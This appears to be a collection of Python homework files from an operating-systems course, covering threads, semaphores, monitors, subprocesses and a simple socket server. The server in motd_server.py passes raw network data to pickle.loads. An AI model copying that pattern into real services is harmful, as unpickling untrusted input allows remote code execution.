parser.add_argument(\"trace\",\n help=\"the sequence of addresses to access. Should be a filename containing one address per line.\",\n type=open)\n args = parser.parse_args()\n\n trace = [int(int(line) / args.page_size) for line in args.trace.readlines()]\n pager = None\n if args.algorithm == \"LRU\":\n pager = LRU(args.num_frames)\n elif args.algorithm == \"FIFO\":\n pager = FIFO(args.num_frames)\n elif args.algorithm == \"Random\":\n pager = Random(args.num_frames)\n elif args.algorithm == \"OPT\":\n pager = OPT(args.num_frames, trace)\n\n for addr in trace:\n frame = pager.access(addr)\n assert (pager.frames[frame] == addr)\n\n print(\"total page faults: %i\" % pager.page_faults)\n\n# vim: ts=2 sw=2 ai et list\n" }, { "alpha_fraction": 0.5245639681816101, "alphanum_fraction": 0.5298452377319336, "avg_line_length": 30.8046875, "blob_id": "a5567285fc2c0a891b19734e2bd1fae5326d5dcb", "content_id": "f570758fbe4c44f36fe99ea193b1cd0981446e96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8142, "license_type": "no_license", "max_line_length": 93, "num_lines": 256, "path": "/HW1/parcount.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "\"\"\"A simulation for experimenting with multiple threads and processes\"\"\"\n\nfrom threading import Thread, Semaphore\nimport time\nimport sys\nimport random\nfrom subprocess import Popen\n\n\n################################################################################\n## unit of work ################################################################\n################################################################################\n\ndef do_step(i):\n \"\"\"simulates a task that requires a bit of processing and some I/O\"\"\"\n ### Origional I/O Bound Version######\n \"\"\"simulates a task that requires a bit of processing and some I/O\"\"\"\n time.sleep(0.01)\n random.seed(i)\n val = random.gauss(0, 2)\n if (val > 1):\n return 1\n else:\n return 0\n\n #### New CPU Bound Version #############\n # for j in range(1000):\n # random.seed(i)\n # val = random.gauss(0, 2)\n #\n # random.seed(i)\n # val = random.gauss(0, 2)\n # if (val > 1):\n # return 1\n # else:\n # return 0\n\n\n\n\n\n\n\ndef do_steps(k, n, N):\n \"\"\"given N units of work divided into n batches, performs the kth batch (k is\n in the range [kN/n,(k+1)N/n).\"\"\"\n start = int(k * N / n)\n finish = int(min((k + 1) * N / n, N))\n\n value = 0\n for i in range(start, finish):\n value += do_step(i)\n return value\n\n\n################################################################################\n## sequential implementation ###################################################\n################################################################################\n\ndef run_sequential(N):\n \"\"\"perform N steps sequentially\"\"\"\n return do_steps(0, 1, N)\n\n\n################################################################################\n## threaded implementation #####################################################\n################################################################################\n\n##### New Common Variable Threaded Implementation ##############################\n\nclass ThreadedWorker(Thread):\n def __init__(self, k, n, N):\n \"\"\"initialize this thread to be the kth of n worker threads\"\"\"\n Thread.__init__(self)\n self.k = k\n self.n = n\n self.N = N\n\n\n def run(self):\n global common_result\n \"\"\"execute the worker thread's work\"\"\"\n self.result = do_steps(self.k, self.n, self.N)\n common_result_sema.acquire()\n common_result += self.result\n common_result_sema.release()\n\n\nglobal common_result\ncommon_result = 0\nglobal common_result_sema\ncommon_result_sema = Semaphore(1)\n\n\ndef run_threaded(num_threads, N):\n \"\"\"use num_thread threads to perform N steps\"\"\"\n # TODO: create num_threads workers\n # TODO: run them\n # TODO: collect the results and return their sum\n # Note: use the threading module from the python standard library\n # Note: import threading; help(threading.Thread)\n # Note: be sure that your implementation is concurrent!\n\n # Create shared variable and corresponding semaphore\n\n # Create threads, add them to thread_list, and start them running\n thread_list = []\n for i in range(num_threads):\n current_thread = ThreadedWorker(i, num_threads, N)\n current_thread.start()\n thread_list.append(current_thread)\n\n # Waits for threads to all finish\n for current_t in thread_list:\n current_t.join()\n\n return common_result\n\n\n#########################Origional Threaded Worker#############################\n# class ThreadedWorker(Thread):\n# def __init__(self, k, n, N):\n# \"\"\"initialize this thread to be the kth of n worker threads\"\"\"\n# Thread.__init__(self)\n# self.k = k\n# self.n = n\n# self.N = N\n# self.result = None\n#\n# def run(self):\n# \"\"\"execute the worker thread's work\"\"\"\n# self.result = do_steps(self.k, self.n, self.N)\n#\n#\n# def run_threaded(num_threads, N):\n# \"\"\"use num_thread threads to perform N steps\"\"\"\n# # TODO: create num_threads workers\n# # TODO: run them\n# # TODO: collect the results and return their sum\n# # Note: use the threading module from the python standard library\n# # Note: import threading; help(threading.Thread)\n# # Note: be sure that your implementation is concurrent!\n#\n# # Create threads, add them to thread_list, and start them running\n# thread_list = []\n# for i in range(num_threads):\n# current_thread = ThreadedWorker(i, num_threads, N)\n# current_thread.start()\n# thread_list.append(current_thread)\n#\n# # Waits for threads to all finish\n# for current_t in thread_list:\n# current_t.join()\n#\n# # Combines result\n# value_result = 0\n# for current_t in thread_list:\n# value_result += current_t.result\n#\n# return value_result\n\n\n################################################################################\n## multiprocess implementation #################################################\n################################################################################\n\ndef create_python_subprocess(args):\n \"\"\"Start a subprocess running this python file. The command line arguments\n are given by \"args\", which should be a sequence of strings.\n For example, calling \"create_python_subprocess(['child'])\"\n has the same effect as running\n \"python parcount.py child\" at the command line.\"\"\"\n\n return Popen([sys.executable, sys.argv[0]] + args)\n\n\ndef run_multiproc(num_children, N):\n \"\"\"use num_children subprocesses to perform N steps\"\"\"\n # TODO: fork num_children subprocesses to compute the results\n # Note: use the create_python_subprocess function above, which returns a POpen\n # object.\n # See https://docs.python.org/3/library/subprocess.html#popen-objects\n # for documentation on POpen objects\n # Note: the return code of the child processes will the value returned by\n # run_child (see __main__ below). You can use this to pass results\n # from the child back to the parent. This is an abuse of the exit code\n # system, which is intended to indicate whether a program failed or not,\n # but since we're only trying to communicate a single integer from the\n # child process to the parent, it suits our purposes.\n # Note: be sure that your implementation is concurrent!\n\n proc_list = []\n for i in range(num_children):\n current_proc = create_python_subprocess([\"child\", str(i), str(num_children), str(N)])\n proc_list.append(current_proc)\n\n result = 0\n for proc in proc_list:\n result += proc.wait()\n return result\n\n\ndef run_child(k, n, N):\n \"\"\"do the work of a single subprocess\"\"\"\n # TODO: do the work for the ith (of n) children\n return do_steps(k, n, N)\n\n\n################################################################################\n## program main function #######################################################\n################################################################################\n\ndef usage():\n print(\"\"\"\nexpected usage:\n %s %s <args>\n\nwhere <args> is one of:\n sequential\n threaded <num_threads>\n multiproc <num_subprocesses>\n child <arguments up to you>\n\"\"\" % (sys.executable, sys.argv[0]))\n return -1\n\n\nif __name__ == '__main__':\n \"\"\"parse the command line, execute the program, and print out elapsed time\"\"\"\n N = 100\n start_time = time.time()\n\n if len(sys.argv) <= 1:\n sys.exit(usage())\n command = sys.argv[1]\n\n if command == \"sequential\":\n print(run_sequential(N))\n\n elif command == \"threaded\":\n if len(sys.argv) <= 2:\n sys.exit(usage())\n print(run_threaded(int(sys.argv[2]), N))\n\n elif command == \"multiproc\":\n if len(sys.argv) <= 2:\n sys.exit(usage())\n print(run_multiproc(int(sys.argv[2]), N))\n\n elif command == \"child\":\n # Note: this is an abuse of the exit status indication\n sys.exit(run_child(int(sys.argv[2]), int(sys.argv[3]), N))\n\n else:\n sys.exit(usage())\n\n print(\"elapsed time: \", time.time() - start_time)\n" }, { "alpha_fraction": 0.48904043436050415, "alphanum_fraction": 0.4978080987930298, "avg_line_length": 19.117647171020508, "blob_id": "19d1772dba09e5642f20023abbe54439f8308cdc", "content_id": "83f03a00ebbe9a2755448a1043d4948c7de5d22c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2053, "license_type": "no_license", "max_line_length": 77, "num_lines": 102, "path": "/HW2/zigzag.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "from threading import Thread, Semaphore\nimport sys\n\ndef P(sema):\n sema.acquire()\n\ndef V(sema):\n sema.release()\n\n#\n# Using semaphores, modify the program below so that it prints the following:\n#\n\nresult = \"\"\"\n---\n |\n |\n ---\n |\n |\n ---\n |\n |\n\"\"\"\n\n#\n# You may split for loops into multiple loops, but the total number of\n# iterations should remain the same.\n#\n\nclass Dash(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n for i in range(3):\n P(Dash_next)\n for j in range(3):\n sys.stdout.write(\"-\")\n V(NewLine_next)\n\n\nclass Vertical(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n for i in range(6):\n P(Vertical_next)\n sys.stdout.write(\"|\")\n V(NewLine_next)\n\nclass NewLine(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n for i in range(9):\n P(NewLine_next)\n sys.stdout.write(\"\\n\")\n V(White_next)\n\nclass White(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n vertical_space_start = 3\n dash_space_start = 4\n for i in range(3):\n for j in range(2):\n P(White_next)\n for k in range(vertical_space_start):\n sys.stdout.write(\" \")\n V(Vertical_next)\n vertical_space_start += 4\n\n if i < 2:\n P(White_next)\n for k in range(dash_space_start):\n sys.stdout.write(\" \")\n V(Dash_next)\n dash_space_start += 4\n\nif __name__ == \"__main__\":\n\n #When these semas are 1, the are finished and the next thread can work\n Dash_next = Semaphore(1)\n Vertical_next = Semaphore(0)\n NewLine_next = Semaphore(0)\n White_next = Semaphore(0)\n\n Dash().start()\n Vertical().start()\n NewLine().start()\n White().start()\n\n## vim: et ai ts=4 sw=4\n\n" }, { "alpha_fraction": 0.6205101609230042, "alphanum_fraction": 0.6309214234352112, "avg_line_length": 24.276315689086914, "blob_id": "4dba8750d2035f4bd4e2c0f0014d9409abf43e4d", "content_id": "3d3497eed8c9d84d0c7a680c2e5c30245eb7c5a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1921, "license_type": "no_license", "max_line_length": 69, "num_lines": 76, "path": "/HW5/motd_server.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "# create an INET, STREAMing socket\nimport socket\nimport threading\nimport struct\nimport pickle\n\n\ndef get_response(message):\n return {\n \"msg\": \"SUCCESS\"\n }\n\n\nMSGLEN = 10\n\n\ndef client_thread(socketobj):\n chunks = \"\"\n bytes_recd = 0\n print(\"starting socket read\")\n print(\"reading header / message length\")\n\n payload = None\n while True:\n chunk = socketobj.recv(2048)\n if chunk == '':\n print(\"socket connection broken\")\n break\n\n chunks += chunk\n\n bytes_recd = bytes_recd + len(chunk)\n\n if bytes_recd >= 4:\n (total_message_size,) = struct.unpack(\"!I\", chunks[0:4])\n\n if bytes_recd >= 4 + total_message_size:\n payload = pickle.loads(chunks[4:])\n break\n\n if payload != None: # no error\n print(\"Here's what we got from the server:\")\n print(payload)\n\n print(\"Sending response\")\n response_payload = get_response(payload)\n\n response_payload_packed = pickle.dumps(response_payload)\n\n pack = struct.pack(\"!I\", len(response_payload_packed))\n socketobj.send(pack)\n\n totalsent = 0\n while totalsent < len(response_payload_packed):\n sent = socketobj.send(response_payload_packed[totalsent:])\n if sent == 0:\n raise RuntimeError(\"socket connection broken\")\n totalsent = totalsent + sent\n\n print(\"done:\")\n\n\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n# bind the socket to a public host, and a well-known port\nserversocket.bind(('', 5000))\n# become a server socket\nserversocket.listen(5)\n\nwhile 1:\n # accept connections from outside\n print(\"waiting for accept\")\n (clientsocket, address) = serversocket.accept()\n # now do something with the clientsocket\n # in this case, we'll pretend this is a threaded server\n ct = threading.Thread(target=client_thread, args=(clientsocket,))\n ct.start()\n" }, { "alpha_fraction": 0.6046931147575378, "alphanum_fraction": 0.6110108494758606, "avg_line_length": 32.57575607299805, "blob_id": "2c58ba952a0e60f75ea86ce5fee52998a7f239a9", "content_id": "58c495c96d132e0399fd5b9c4ef1ff8e4d2d4933", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2216, "license_type": "no_license", "max_line_length": 104, "num_lines": 66, "path": "/HW2/matchmaker.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "from threading import Thread, Lock, Condition\nimport time, random\n\n\nclass Matchmaker(object):\n \"\"\"\n A matchmaker monitor collects groups of n threads, blocking them until there\n is a complete group available.\n \"\"\"\n\n def __init__(self, n):\n self.lock = Lock()\n self.nbr_players_to_start = n\n self.current_number_of_players = 0\n\n # Predicate: current_number_of_players < nbr_players_to_start\n self.can_be_added = Condition(self.lock)\n\n # Predicate: current_number_of_players = nbr_players_to_start\n self.can_start_game = Condition(self.lock)\n\n def join(self):\n \"\"\"block until a game starts that includes this thread. If n threads\n are blocked, start a game.\"\"\"\n with self.lock:\n # If the current game spaces are full, block until space for the next game opens up\n while self.current_number_of_players >= self.nbr_players_to_start:\n self.can_be_added.wait()\n\n # Add yourself to the pool of players for the current game\n self.current_number_of_players += 1\n\n # If there are enough players to start, notify the waiting pooled players\n\n if self.current_number_of_players == self.nbr_players_to_start:\n self.can_start_game.notify_all()\n\n # Otherwise, wait until there are enough players to start\n else:\n self.can_start_game.wait()\n\n # Threads here can start the game and notify the players waiting for a pool that the new one\n # has opened\n self.current_number_of_players -= 1\n self.can_be_added.notify_all()\n\nclass Player(Thread):\n def __init__(self, matchmaker, name):\n Thread.__init__(self)\n self.matchmaker = matchmaker\n self.id = name\n\n def run(self):\n # wait a random amount of time\n time.sleep(random.uniform(0.1, 0.5))\n print(\"Player %i arriving\" % self.id)\n self.matchmaker.join()\n print(\"Player %i playing\" % self.id)\n\n\nif __name__ == '__main__':\n queue = Matchmaker(4)\n for i in range(100):\n Player(queue, i).start()\n\n# vim:expandtab:tabstop=8:shiftwidth=4:softtabstop=4\n" }, { "alpha_fraction": 0.6293283700942993, "alphanum_fraction": 0.6404833793640137, "avg_line_length": 39.59434127807617, "blob_id": "6bfdf14f4018bd124abf3b56e1787617c3a2bbc5", "content_id": "4fac6a2a17c56583882cc81770efa408ef7c204d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4303, "license_type": "no_license", "max_line_length": 120, "num_lines": 106, "path": "/HW2/bridge.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "from threading import Thread, Lock, Condition\nimport time\nimport random\n\nnorth = 0\nsouth = 1\n\n\nclass OneLaneBridge(object):\n \"\"\"\n A one-lane bridge allows multiple cars to pass in either direction, but at any\n point in time, all cars on the bridge must be going in the same direction.\n\n Cars wishing to cross should call the cross function, once they have crossed\n they should call finished()\n \"\"\"\n\n def __init__(self):\n self.lock = Lock()\n self.current_direction = 0 # Indicates the current direction as either 0 North or 1 South\n self.cars_on_bridge = 0 # Indicates the number of cars currently on the bridge\n\n self.crossing = [0,0] # number of threads that have returned from cross(i) but have not yet called finished\n # (here i can be either NORTH or SOUTH).\n\n # predicate (not current_direction = direction) and (cars_on_bridge = 0)\n # In english, I need to change the direction and there are no cars on the bridge\n self.ready_for_switch = Condition(self.lock)\n\n # Invariant 1: self.crossing[0] or self.crossing[1] must be 0 at any given time\n # Invariant 2: cars_on_bridge >= 0\n # Invariant 3: current_direction is either 0 or 1\n\n\n \"\"\"\n wait for permission to cross the bridge. direction should be either\n north (0) or south (1).\n \"\"\"\n\n def cross(self, direction):\n with self.lock:\n # While there are cars on the bridge going the opposite direction I want to go in, wait\n while (direction != self.current_direction) and (self.cars_on_bridge > 0):\n self.ready_for_switch.wait()\n\n # Invariant 3 - When either the direction is the correct one, or there are no cars on the bridge, I can\n # ensure the correct direction and enter the bridge.\n self.current_direction = direction\n # Invariant 2 - This increment can not cause the invariant to become false.\n self.cars_on_bridge += 1\n # To check invarient 1, At this time, the crossing of the opposite of current_direction must be\n # zero because any car that wishes to go the opposite direction is waiting on ready_for_switch().\n # If it passed ready_for_switch, then it has just changed the direction. This can only happen if a\n # notify_all() was called because there were no cars on the bridge going either direction.\n self.crossing[self.current_direction] += 1\n\n def finished(self):\n with self.lock:\n # To check invarient 1, a car can only get here if it has already incremented crossing, so a decrement\n # can not cause either value of crossing to become less than 0. Neither can it cause either value\n # of crossing to become more than 0 since it is a decrement.\n\n self.crossing[self.current_direction] -= 1\n # I leave the bridge\n # Invariant 2 - This can only be decremented after a car as finished cross and has already incremented it\n # so it cannot go below 0\n self.cars_on_bridge -= 1\n\n # If there are no cars on the bridge behind me, I wake up all the cars who are waiting\n # to go in the opposite direction\n # Code is live because if there is no one on the bridge, the cars waiting for ready_for_switch get\n # notify_all and when they regain the monitor lock, they can exit the loop and change the direction to their\n # direction so they can cross\n if self.cars_on_bridge == 0:\n self.ready_for_switch.notify_all()\n\n\nclass Car(Thread):\n def __init__(self, bridge):\n Thread.__init__(self)\n self.direction = random.randrange(2)\n self.wait_time = random.uniform(0.1, 0.5)\n self.bridge = bridge\n\n def run(self):\n # drive to the bridge\n time.sleep(self.wait_time)\n\n # request permission to cross\n self.bridge.cross(self.direction)\n\n # drive across\n time.sleep(0.01)\n\n # signal that we have finished crossing\n self.bridge.finished()\n\n\n\nif __name__ == \"__main__\":\n\n judd_falls = OneLaneBridge()\n for i in range(100):\n Car(judd_falls).start()\n\n# vim:expandtab:tabstop=8:shiftwidth=4:softtabstop=4\n" } ]
9
byzhou/designGDS2txt
https://github.com/byzhou/designGDS2txt
9298a74f65739d63b78a79f0527fecfc20d87cec
9b45dcf1a33492ba7aa05aa04d1be23408cf5ff1
bb5dbb22936ff8babe22a89c459ab78da532e246
refs/heads/master
2021-01-01T20:16:26.726191
2015-12-07T15:32:32
2015-12-07T15:32:32
31,983,311
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6581311821937561, "alphanum_fraction": 0.6680143475532532, "avg_line_length": 31.2608699798584, "blob_id": "d8990a0bbca59b81351669791384ac05966dd76e", "content_id": "d7d5ade40947d7a71227f55a91412d784cd08d3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2226, "license_type": "no_license", "max_line_length": 79, "num_lines": 69, "path": "/convert.py", "repo_name": "byzhou/designGDS2txt", "src_encoding": "UTF-8", "text": "#!/ad/eng/research/eng_research_icsg/mixed/bobzhou/software/tools/bin/python3.4\n\nimport os\n#regular expression\nimport re\n#python gds related\nimport numpy\nimport gdspy\n\n#import the library\nlibrary = gdspy.GdsImport('gds/NangateOpenCellLibrary.gds')\nfor cell_name in library.cell_dict:\n#extract the info in each standard library\n library.extract(cell_name)\n# print ( cell_name )\n\n#import the design\ndesign\t\t= gdspy.GdsImport ( 'design/TjIn.gds' )\n#extract the design\ngdsii\t\t= design.extract ( 'top' )\n\n#display the design with showing the one layer of reference\ngdspy.LayoutViewer( cells={ 'top' } , depth=1 )\n\n#write to file\noutputPath = 'txt/'\ncellName = 'TjIn'\nwriteFile = open ( outputPath + cellName + '.txt' , 'w' )\nprint ( \"open the file %s.txt\\n\" % cellName )\n\n#get polygon info from the cell\npolyinfo\t= gdsii.get_polygons() \n\n#print cell attributes values\ncellInst\t= vars ( gdsii )\n#search for word begin with 0x\nregux\t = re.compile ( \"0x\\w+\" )\n#transform data type\nstrInst\t = str ( cellInst )\n#search for regux, the first matched value is stored in firstInst\nfirstInst = ( regux . search ( strInst ) ) . group ()\n#All the info of the polygon including the layer info\ninstWithLayer = gdsii.get_polygons ( firstInst )\n#transform into string\nstrWithLayer = str ( instWithLayer )\n\n#print ( strWithLayer )\nwriteFile . write ( \"11th layer\" )\n#Search for the 10th layer's polygon info\nstartToken = re.compile ( \"\\(11\\, 0\\)\\: \\[array\\(\\[\\[\" )\n#find out the start position of the layer 10\nstartpos\t= ( startToken . search ( strWithLayer ) ) . start ()\n#end token of layer 10\nendToken\t= re.compile ( \"\\(\\w+\\, 0\\)\\: \\[array\\(\\[\\[\" )\n#find out the end position of the layer 10\nendpos\t = ( endToken . search ( strWithLayer , startpos + 1 ) ) . start ()\n#find out the number tokens on the layer 10\nnumToken\t= re.compile ( \"\\w\\.\\s\" \"|\\w\\w\\.\\s\" \"|[-|\\s]\\w+\\.\\w+\" \"|array\" )\n#write all the coordinates\ncoords\t = ( numToken . findall ( strWithLayer , startpos , endpos ) ) \n#print type ( coords )\nfor x in coords :\n if x == \"array\" :\n #writeFile . write ( \" ;\\n\" + \"POLYGON \" ) \n writeFile . write ( \"\\n\" + \"POLYGON \" ) \n else :\n writeFile . write ( str ( x ) + \" \" ) \n\nwriteFile.close()\n" }, { "alpha_fraction": 0.6935659646987915, "alphanum_fraction": 0.7131952047348022, "avg_line_length": 27.625, "blob_id": "307c7900d2fdac33ad270eba19a8f9c7aa1638ef", "content_id": "f153909e2943eefe8d2f23bd7547961c59b58f5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 917, "license_type": "no_license", "max_line_length": 79, "num_lines": 32, "path": "/display.py", "repo_name": "byzhou/designGDS2txt", "src_encoding": "UTF-8", "text": "#!/ad/eng/research/eng_research_icsg/mixed/bobzhou/software/tools/bin/python3.4\nimport os\n#regular expression\nimport re\n#python gds related\nimport numpy\nimport gdspy\n\n\nos.environ['LD_LIBRARY_PATH'] = os.getcwd() # or whatever path you want\n\npath\t\t= './gds/'\n\n#import the library\ngdsii = gdspy.GdsImport('gds/NangateOpenCellLibrary.gds')\nfor cell_name in gdsii.cell_dict:\n#extract the info in each standard library\n gdsii.extract(cell_name)\n# print ( cell_name )\n\n#import the design\n#design\t\t= gdspy.GdsImport ( 'design/TjIn.gds' )\n#extract the design\n#gdsii\t\t= design.extract ( 'top' )\n\n#just draw some stuff\n#gdsii . add ( gdspy . Rectangle ( (18, 1), (22, 2), 11) )\n#display the design with showing the one layer of reference\n#gdspy.LayoutViewer( cells={ 'top' } , depth=1 )\ngdspy.LayoutViewer( cells={ 'FILLCELL_X1' } )\n#export stuff\n#gdspy.gds_print( 'test.gds', cells={'top'},unit=1e-06,precision=1e-09) \n" } ]
2
Sandi-Sc/sandiscript
https://github.com/Sandi-Sc/sandiscript
f4c674dd81e7860858f6404be812f9626d101d24
c57d57bc4e1041b2c2ef237e70580775610ceffd
aea401b1b992ad383952d02d0b0e4366f5d0e8ba
refs/heads/master
2020-09-11T17:13:50.959049
2019-11-16T19:03:07
2019-11-16T19:03:07
222,134,688
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6147465705871582, "alphanum_fraction": 0.6470046043395996, "avg_line_length": 26.125, "blob_id": "8abd4a12b58d16b32a9b3859d11f4836e756aa39", "content_id": "cc75e327cc9fbad6c183611d74702b1eebc46133", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1085, "license_type": "no_license", "max_line_length": 178, "num_lines": 40, "path": "/sanditerkey.py", "repo_name": "Sandi-Sc/sandiscript", "src_encoding": "UTF-8", "text": "import os\nfrom time import sleep\n\n\na ='\\033[92m'\nb ='\\033[91m'\nc ='\\033[0m'\nos.system('clear')\nprint(a+'\\t Script Tombol Tambahan Untuk Newbie')\nprint(b+'\\t Hasil Karya')\nprint('\\t Sandi Pirmansyah')\nprint(a+'+'*40)\nprint('\\nProses..')\nsleep(1)\nprint(b+'\\n[!] nyobaan Heula Kanu Properti..')\nsleep(1)\ntry:\n os.mkdir('/data/data/com.termux/files/home/.termux')\nexcept:\n pass\nprint(a+'[!]Sabar Heula Bel !')\nsleep(1)\nprint(b+'\\n[!] Keur Nyetel Ulang..')\nsleep(1)\n\nkey = \"extra-keys = [['ESC','/','-','HOME','UP','END','PGUP'],['TAB','CTRL','ALT','LEFT','DOWN','RIGHT','PGDN']]\"\nkontol = open('/data/data/com.termux/files/home/.termux/termux.properties','w')\nkontol.write(key)\nkontol.close()\nsleep(1)\nprint(a+'[!] Sabar Heula Bel !')\nsleep(1)\nprint(b+'\\n[!] Nyeting Ulang Heula..')\nsleep(2)\nos.system('termux-reload-settings')\nprint(a+'[!] Successfully !! ^^'+c+'\\n\\nhubungi Pembuat Script Sandi Pirmansyah Mun Aya Nu ek Ditanyakeun Kanu Wa 085316267169 Chat Hungkul Montong Nelepon Bisi Di Block :*\\n\\n')\n\n\n# Ngan Saukur Nambah Tombol\n# Sandi Pirmansyah\n" }, { "alpha_fraction": 0.7634408473968506, "alphanum_fraction": 0.7634408473968506, "avg_line_length": 19.66666603088379, "blob_id": "4023c9d9f07c00d2515b42cac947788b0ad36cd9", "content_id": "ff83b2ff770e5b66e6ded4c07ce2f5e440f206f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 186, "license_type": "no_license", "max_line_length": 54, "num_lines": 9, "path": "/README.md", "repo_name": "Sandi-Sc/sandiscript", "src_encoding": "UTF-8", "text": "# sandiscript\nTermux key shortcut\n\n# usage\n$pkg install python<br>\n$pkg install git<br>\n$git clone https://github.com/Sandi-Sc/sandiscript<br>\n$cd sandiscript<br>\n$python sanditerkey.py\n" } ]
2
stebunting/bank-format
https://github.com/stebunting/bank-format
b4303db6eaaa271e29987464753130f5beaaaecb
899850544f5e05a821787ab41511a830e826a122
cc3b90c56d929200ef6be3e472d7b5c7c16b2825
refs/heads/master
2020-04-10T18:28:56.216638
2018-03-08T10:03:37
2018-03-08T10:03:37
124,285,180
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5642638802528381, "alphanum_fraction": 0.569534182548523, "avg_line_length": 28.123762130737305, "blob_id": "82b16aa5570546656df9c790424cced5e42db50d", "content_id": "aa7d5b4beb07d9c19d94c916eef836ce41c03185", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5882, "license_type": "no_license", "max_line_length": 133, "num_lines": 202, "path": "/bank-format", "repo_name": "stebunting/bank-format", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# coding=utf-8\n\n################################################################################\n# #\n# Bank Statement Format #\n# bank-format #\n# #\n# Script to format downloaded statement from Nordea and Santander Mitt Kort+ #\n# for import to Quickbooks #\n# #\n# Requires python3 #\n# #\n################################################################################\n\nimport os\nimport sys\nimport csv\nimport datetime\nimport plistlib\n\n# Function to read input from user until EOF reached\ndef read_input():\n\tip = ''\n\tfile = ''\n\twhile True:\n\t\ttry:\n\t\t\tip = input()\n\t\t\tfile += ip + '\\n'\n\t\texcept EOFError:\n\t\t\tbreak\n\treturn file\n\n# Function to ensure continuity variables exist\ndef verify_continuity_vars(type):\n\tif type not in pl:\n\t\tpl[type] = dict(\n\t\t\tdate = '',\n\t\t\ttransaction = '',\n\t\t\tamount = 0\n\t\t\t)\n\n# Main function\ndef main():\n\n\t# Default file declarations\n\tfiles = [{\n\t\t'type' : 'nordea',\n\t\t'name' : 'Nordea Business Account',\n\t\t'input_file' : USER_DIRECTORY + FILE_DIRECTORY + '/export.csv',\n\t\t'output_file' : USER_DIRECTORY + FILE_DIRECTORY + '/nordea_statement.csv',\n\t\t'delimiter' : ','\n\t}, {\n\t\t'type' : 'mittkort',\n\t\t'name' : 'Santander Mitt Kort+',\n\t\t'input_file' : USER_DIRECTORY + FILE_DIRECTORY + '/mittkort.csv',\n\t\t'output_file' : USER_DIRECTORY + FILE_DIRECTORY + '/mittkort_statement.csv',\n\t\t'delimiter' : '\\t'\n\t}]\n\n\tfor type in files:\n\n\t\tverify_continuity_vars(type['type'])\n\n\t\t# List to store all transaction objects\n\t\ttransactions = []\n\n\t\t# Check if file exists\n\t\tif os.path.isfile(type['input_file']):\n\n\t\t\t# Open input file as csvreader\n\t\t\tprint(\"{}: reading csv file...\".format(type['name']))\n\t\t\ttry:\n\t\t\t\tfp = open(type['input_file'], 'r')\n\t\t\texcept:\n\t\t\t\tprint(\"Could not open file {}\".format(type['input_file']))\n\t\t\t\tcontinue\n\n\t\telse:\n\n\t\t\t# Check for text input\n\t\t\tprint(\"{} (press Ctrl+D to end):\".format(type['name']))\n\t\t\ttext_in = read_input()\n\t\t\tif text_in == '':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\twith open(TEMP_FILENAME, 'w') as fp:\n\t\t\t\t\tfp.write(text_in)\n\t\t\t\tfp = open(TEMP_FILENAME, 'r')\n\n\t\tcsvreader = csv.reader(fp, delimiter=type['delimiter'], quotechar='\"')\n\t\t\n\t\t# Read input file into transactions list\n\t\tfor line in csvreader:\n\t\t\ttry:\n\t\t\t\tt = Transaction(line, type['type'])\n\t\t\t\ttransactions.append(t)\n\t\t\texcept TypeError:\n\t\t\t\tpass\n\t\t\texcept Exception:\n\t\t\t\tbreak\n\n\t\t# Close file and remove temporary file if necessary\n\t\tfp.close()\n\t\tif os.path.isfile(TEMP_FILENAME):\n\t\t\tos.remove(TEMP_FILENAME)\n\n\t\t# If there are any transactions in the list\n\t\tif len(transactions) > 0:\n\n\t\t\t# Check for duplicate output file and rename if necessary\n\t\t\tcounter = 1\n\t\t\tfilename, ext = os.path.splitext(type['output_file'])\n\t\t\tedited_filename = filename\n\n\t\t\twhile os.path.isfile(\"{}{}\".format(edited_filename, ext)):\n\t\t\t\tedited_filename = \"{}-{}\".format(filename, counter)\n\t\t\t\tcounter += 1\n\t\t\ttype['output_file'] = \"{}{}\".format(edited_filename, ext)\n\n\t\t\t# Write output file\n\t\t\ttry:\n\t\t\t\tfp = open(type['output_file'], 'w')\n\t\t\texcept:\n\t\t\t\tprint(\"Could not open file {}\".format(type['output_file']))\n\t\t\t\tcontinue\n\t\t\tcsv_writer = csv.writer(fp, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\t\t\tcsv_writer.writerow(['Date', 'Description', 'Amount'])\n\t\t\tfor transaction in transactions:\n\t\t\t\tcsv_writer.writerow(transaction.return_row())\n\t\t\tfp.close()\n\t\t\tprint(\"{} transactions written to file {}\".format(len(transactions), type['output_file']))\n\n\t\t\t# Update plist file if transactions written to output file\n\t\t\tpl[type['type']]['date'] = transactions[0].date.isoformat()\n\t\t\tpl[type['type']]['transaction'] = transactions[0].transaction\n\t\t\tpl[type['type']]['amount'] = transactions[0].amount\n\n\t\telse:\n\t\t\tprint('0 transactions to write.')\n\n\t# Write continuity file\n\twith open(PLIST_FILENAME, 'wb') as fp:\n\t\tplistlib.dump(pl, fp)\n\t\n\n# Transaction class\nclass Transaction:\n\t\n\t# Initialise values\n\tdef __init__(self, 